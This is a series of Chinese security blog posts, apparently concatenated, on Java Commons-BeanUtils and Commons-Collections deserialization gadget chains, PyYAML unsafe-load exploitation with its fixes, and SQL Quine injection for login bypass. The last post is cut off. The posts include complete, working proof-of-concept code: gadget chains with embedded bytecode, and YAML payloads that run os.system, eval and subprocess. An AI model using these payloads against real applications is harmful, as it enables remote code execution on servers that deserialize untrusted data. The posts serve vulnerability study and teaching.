byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "ph0ebus");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
Queue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);

setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}

public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}

参考链接:

Java篇之Commons Beanutils | Arsene.Tang

Java安全之CommonsCollections2链 | ph0ebus

Java安全之CommonsCollections3链 | ph0ebus

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=npidgcsp5ijj

PyYaml反序列化漏洞

Yaml是什么

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。尽管它比较适合用来表达层次结构式(hierarchical model)的数据结构,不过也有精致的语法可以表示关系性(relational model)的数据。其让人最容易上手的特色是巧妙避开各种封闭符号,如:引号、各种括号等,这些符号在嵌套结构时会变得复杂而难以辨认。

YAML 的配置文件后缀为 .yml,如:docker-compose.yml

基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • 在同一个yml文件中用---隔开多份配置
  • ‘#’表示注释
  • ‘!!’表示强制类型转换

像强制转化为str类型就是!!str,更多Yaml语法请移步YAML入门教程 | 菜鸟教程

数据类型

YAML 支持以下几种数据类型:

对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

1
2
3
key: 
child-key: value
child-key2: value2

数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)

1
2
3
- A
- B
- C

纯量(scalars):单个的、不可再分的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
boolean: 
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

PyYaml < 5.1

PyYAML是Python出众的模块之一。PyYAML就是python的一个yaml库,yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。

语言转化

在PyYaml提供以下两类方法来实现python和yaml两种语言格式的互相转化

yaml -> python

yaml.load(data) # 加载单个 YAML 配置,返回一个Python对象

yaml.load_all(data) # 加载多个 YAML 配置,返回一个迭代器

yaml.load()方法的作用是将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据,两个方法都可以指定加载器(Loader),接收的data参数可以是yaml格式的字串、Unicode字符串、二进制文件对象或者打开的文本文件对象。

python -> yaml

yaml.dump(data) # 转换单个python对象

yaml.dump_all([data1, data2, …]) # 转换多个python对象

接收的data参数就是python对象包括对象实例、字典、列表等类型数据,python的对象实例转化最终是变成一串yaml格式的字符,所以这种情况我们称之为序列化,反之load()就是在反序列化

标签转化

PyYaml下支持所有yaml标签转化为python对应类型,详见Yaml与python类型的对照表

其中有五个强大的Complex Python tags支持转化为指定的python模块,类,方法以及对象实例

YAML tag Python tag
!!python/name:module.name module.name
!!python/module:package.module package.module
!!python/object:module.cls module.cls instance
!!python/object/new:module.cls module.cls instance
!!python/object/apply:module.f value of f(…)

利用方式

yaml模块中yaml/constructor.py中可以看到这几个标签的实现源码

直接看!!python/object/apply标签和!!python/object/new标签的处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def construct_python_object_apply(self, suffix, node, newobj=False):
# Format:
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
# The difference between !!python/object/apply and !!python/object/new
# is how an object is created, check make_python_instance for details.
if isinstance(node, SequenceNode):
args = self.construct_sequence(node, deep=True)
kwds = {}
state = {}
listitems = []
dictitems = {}
else:
value = self.construct_mapping(node, deep=True)
args = value.get('args', [])
kwds = value.get('kwds', {})
state = value.get('state', {})
listitems = value.get('listitems', [])
dictitems = value.get('dictitems', {})
instance = self.make_python_instance(suffix, node, args, kwds, newobj)
if state:
self.set_python_instance_state(instance, state)
if listitems:
instance.extend(listitems)
if dictitems:
for key in dictitems:
instance[key] = dictitems[key]
return instance

def construct_python_object_new(self, suffix, node):
return self.construct_python_object_apply(suffix, node, newobj=True)

从代码可以看出!!python/object/new标签最终也是调用construct_python_object_apply方法。

接着里面调用了make_python_instance(),函数会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令

1
2
3
4
5
6
7
8
9
10
11
def make_python_instance(self, suffix, node,
args=None, kwds=None, newobj=False):
if not args:
args = []
if not kwds:
kwds = {}
cls = self.find_python_name(suffix, node.start_mark)
if newobj and isinstance(cls, type):
return cls.__new__(cls, *args, **kwds)
else:
return cls(*args, **kwds)

它会调用find_python_name(),里面就会用__import__()导入系统命令模块

具体利用方式为

1
2
3
4
5
6
yaml.load("!!python/object/new:os.system [calc.exe]")

yaml.load("""
!!python/object/new:os.system
- calc.exe
""")

而阅读其他三个标签的源码可以发现没有可以对命令参数处理的地方,则不能直接执行命令,就得利用现有文件上传或者写文件的功能,传入一个写入命令执行代码的文件,将文件名写入标签中,当该标签被反序列化时,就可以顺利导入该文件作为模块,执行当中的命令

首先写一个文件名为test.py的文件,内容如下

1
2
import os
os.system('calc')

在触发漏洞的文件里

1
2
3
4
5
import yaml

yaml.load("!!python/module:test" )
yaml.load("!!python/object:test.aaaa" )
yaml.load("!!python/name:test.aaaa" )

这里aaaa主要是防止命名规则不对提前报错结束程序而随便写的方法名,代码里有没有都无所谓

这种利用其他文件的方式也可以用!!python/object/new!!python/object/apply标签

1
2
yaml.load('!!python/object/apply:test.aaaa {}' )
yaml.load('!!python/object/new:test.aaaa {}' )

如果写入的文件和触发漏洞的文件不在同一目录下

则需要加上目录,比如同级的uploads目录

1
2
3
4
5
yaml.load("!!python/module:uploads.test" )
yaml.load("!!python/object:uploads.test.aaaa" )
yaml.load("!!python/name:uploads.test.aaaa" )
yyaml.load('!!python/object/apply:uploads.test.aaaa {}' )
yaml.load('!!python/object/new:uploads.test.aaaa {}' )

如果文件名为__init__.py,则只需要目录名即可

PyYaml >= 5.1

修复改动

一是find_python_name方法和find_python_mdule方法增加了一个默认的unsafe为false的值

1
def find_python_name(self, name, mark, unsafe=False)

这个值会限制__import__()而抛出错误

二是在PyYAML>=5.1版本中load函数被限制使用了,如果没有指定Loader会抛出警告并默认加载器为FullLoader

BaseConstructor:仅加载最基本的YAML

SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)

FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。

UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

Constructor:等同于UnsafeConstructor

如果指定的加载器是UnsafeConstructor 或者Constructor,那么还可以像<5.1版本一样利用

在默认加载器下,如果不执行只是为了单纯导入模块,那么需要sys.modules字典中有我们的模块,否则报错;

如果要执行,那么sys.modules字典中要有利用模块,并且加载进来的 module.name 必须是一个类而不能是方法,否则就会报错

利用方式

builtens模块

builtins是python的内建模块,它不需要import,python会加载内建模块中的函数到内存中,该模块是在sys.modules中的

既然必须是一个类,则找该模块的类成员

1
2
3
4
5
6
7
8
9
10
import builtins
def print_all(module_):
modulelist = dir(module_)
length = len(modulelist)
for i in range(0, length, 1):
result = str(getattr(module_, modulelist[i]))
if '<class' in result:
print(result)

print_all(builtins)

这时候就想办法利用这些执行代码

map来触发函数执行,用tuple将map对象转化为元组输出来(用listfrozensetbytes都可以

1
tuple(map(eval, ["__import__('os').system('whoami')"]))
1
2
3
4
5
6
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")

subprocess模块

subprocess 模块替代了一些老的模块和函数,比如:os.systemos.spawn*等,而subprocess模块定义了一个类:Popen

1
2
3
4
5
6
7
8
yaml.load("""
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [calc]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
""")

其他巧妙利用

1
2
3
4
5
6
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
yaml.load("""
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('calc')"
""")
1
2
3
4
5
6
7
8
9
10
11
yaml.load("""
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('calc')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:eval
items: !!python/name:list
""")

这些payload均是利用基本类型之中代码执行函数,从而绕过5.1+的防御措施。

修复方法

1、按照官方推荐使用safe_load对于序列化内容进行加载。

2、检测加载文件头防止加载代码执行函数。


参考链接:

PyYAML反序列化防御和ByPass | 柠檬菠萝

PyYAML反序列化漏洞 | DAMOXILAI

浅谈PyYAML反序列化漏洞 | Al1ex

Java安全之其他CC链

前言

后面几条cc链和前面讲的有很多共通点,这里浅浅一起分析一手

CommonsCollections4

首先pom.xml导入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

cc3引入了InstantiateTransformer类替换了InvokerTransformer对cc1链进行变形绕过过滤。同理,cc2也能做同样的变形形成一条新的利用链,这就是cc4链。cc4相对于cc2来说并没有将TemplatesImpl类的实例直接放入队列

反序列化调用链如下:

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
           ChainedTransformer.transform()
              InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
                    templatesImpl.newTranformer()
                      Method.invoke()     
Runtime.exec()

第二次transform()的时候即调用该类的newInstance()实例化,而实例化的参数因为也是可控的,因此在参数位置放入TemplateImpl类的实例

POC链为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class CommonsCollections_4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


// 创建CommonsCollections4对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections4"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections4类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();
// 通过反射注入bytes的值
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); // 反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); // 反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes}); // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

// 通过反射设置_name的值不为null
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); // 反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl, "ph0ebus");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}) // 将TemplatesImpl实例放进参数值位置,与cc3原理一样,便于在构造函数中触发newTransformer
};
// 封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
// 封装外层的队列
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue, transCom);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

CommonsCollections5

首先pom.xml导入依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

和cc6链类似cc5这条链的外部入口变了,但里面没变,依然是和cc1链一样进到LazyMap.get()然后调用Transformer数组进行RCE

反序列化调用链如下:

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

TiedMapEntry#getValue()方法调用了get(),而且map在TiedMapEntry类构造函数中可控

1
2
3
4
5
6
7
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}

TiedMapEntry#toString方法调用了getValue()方法

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

那么就要找哪里调用了toString方法可以和readObject()连起来,可以发现BadAttributeValueExpException类的readObject()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // <--此处调用
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

这里想办法让valObjTiedMapEntry类的对象,valObj的来源是

1
2
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

这里先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。这里可以用反射机制修改val的为TiedMapEntry类的对象

PoC链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections_5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1)
};
ChainedTransformer chian = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map, chian);
// 构造外部的触发链触发varobj.tostring到达lazymap.get
TiedMapEntry entry = new TiedMapEntry(innerMap, "ph0ebus");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, entry); // 将TiedMapEntry实例放进val属性,从而在反序列化还原后最终调用this.map.get
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val);
oos.close();

System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

CommonsCollections7

首先pom.xml导入依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

和cc5一样,cc7也是外部入口变了,都是换种姿势调用到LazyMap.get()方法实现一系列调用

反序列化调用链为:

1
2
3
4
5
6
7
8
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec

这条链子入口是Hashtable类的readObject()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException
{

ObjectInputStream.GetField fields = s.readFields();

// Read and validate loadFactor (ignore threshold - it will be re-computed)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new StreamCorruptedException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);

// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / lf) + 1);

// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / lf) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);

if (length < 0) { // overflow
length = origlength;
}

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
Hashtable.UnsafeHolder.putLoadFactor(this, lf);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

Entry是一个数据结构的类,这个类里存放了key和value。table是一个Entry数组,而且为空。这里会调用reconstitutionPut()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

第一次调用reconstitutionPut(),将key和value存入上面说的table中。然后若循环条件满足继续调用reconstitutionPut()

在if语句里调用了e.key.equals(key),也就是要构造两个Hashtable类的对象并让map1和map2是LazyMap类型,从而调用LazyMap.equals()方法,但LazyMap类里没有这个equals()方法,寻找父类AbstractMapDecorator实现的equals方法

1
2
3
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}

它去调用map属性的equals方法,这里的map其实是我们创建LazyMap时传入的HashMap

HashMap也没有equals方法,寻找父类AbstractMap实现的equals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

这里的迭代器i其实是map1的entrySet()的迭代器,while循环里是拿到map1里的key和value;然后是m,这里的m其实是传递过来的map2,value不为空,所以他会走else,然后先调用m.get(key),实际就是LazyMap.get()

PoC链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections_7 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造两个hash值相同的Lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
lazyMap1.put("zZ", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("yy", 1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, 1);
hashTable.put(lazyMap2, 2);
// 移除生成exp过程中因两个Lazymap的hash相同而放入lazymap2的键
lazyMap2.remove("zZ");
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashTable);
oos.close();

System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

参考链接:

ysoserial-CommonsCollections系列总结篇

https://www.freebuf.com/author/ZeanHike

SQL注入之Quine注入

前言

这两天在HDCTF遇到了Quine注入的考点,刚开始接触CTF的时候也在记不清哪个新生赛遇到了,这里记录一下

Quine是什么

quine是一种计算机程序,它不接受输入并产生自己源代码的副本作为唯一的输出。标准术语是自产生程序,能够直接读取自己源码、读入用户输入或空白的程序一般都不视为自产生程序。纪念美国哲学家奎恩(Willard Van Orman Quine)而命名

通常,用于在任何编程语言中创建一个自产生程序(Quine)在程序中具有两部分,一是用于执行实际打印的代码,二是表示代码文本形式的数据。

这里给出几个python3的Quine示例

1
a = 'a = {}{}{}; print(a.format(chr(39), a, chr(39)))'; print(a.format(chr(39), a, chr(39)))

chr(39)是单引号(')

1
c = 'c = %r; print(c %% c)'; print(c % c)

%r是一个万能的格式付,它会将后面给的参数原样打印出来,带有类型信息

1
exec(s:='print("exec(s:=%r)"%s)')

一些编程语言可以将字符串当作程序运行,Quine可以利用这个特点。Python、Ruby、Lua都可以

构造Quine

而在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中

replace()函数

replace(object,search,replace) 把object对象中出现的search全部替换成replace

Quine的基本形式就是

1
REPLACE(str,编码的间隔符,str)

参数str的形式为

1
REPLACE(间隔符,编码的间隔符,间隔符)

这样运算的结果形式又变成了REPLACE(str,编码的间隔符,str)

例如间隔符为”.“,编码间隔符为CHAR(46),这样str就是

1
2
3
4
5
6
7
select REPLACE(".",CHAR(46),".");

+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+

构造出来的结果就是

1
2
3
4
5
6
7
select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');

+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+

但仔细观察可以发现还没有完全实现一致,在单双引号还存在细微区别

在刚刚构造的Quine中

1
2
Quine: REPLACE('str',编码的间隔符,'str')
str: REPLACE("间隔符",编码的间隔符,"间隔符")

这里str中的间隔符使用双引号的原因是,str已经被单引号包裹,为避免引号匹配问题引入新的转义符号,间隔符需要使用双引号

运算后的结果是REPLACE("str",编码的间隔符,"str"),所以让结果的str也用单引号包裹就能让输入和查询结果完全一致了

这时候就需要使用REPLACEstr的双引号换成单引号,这样最后就不会出现引号不一致的情况了

升级版Quine的基本形式,CHAR(34)是双引号,CHAR(39)是单引号

1
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

升级版str的基本形式

1
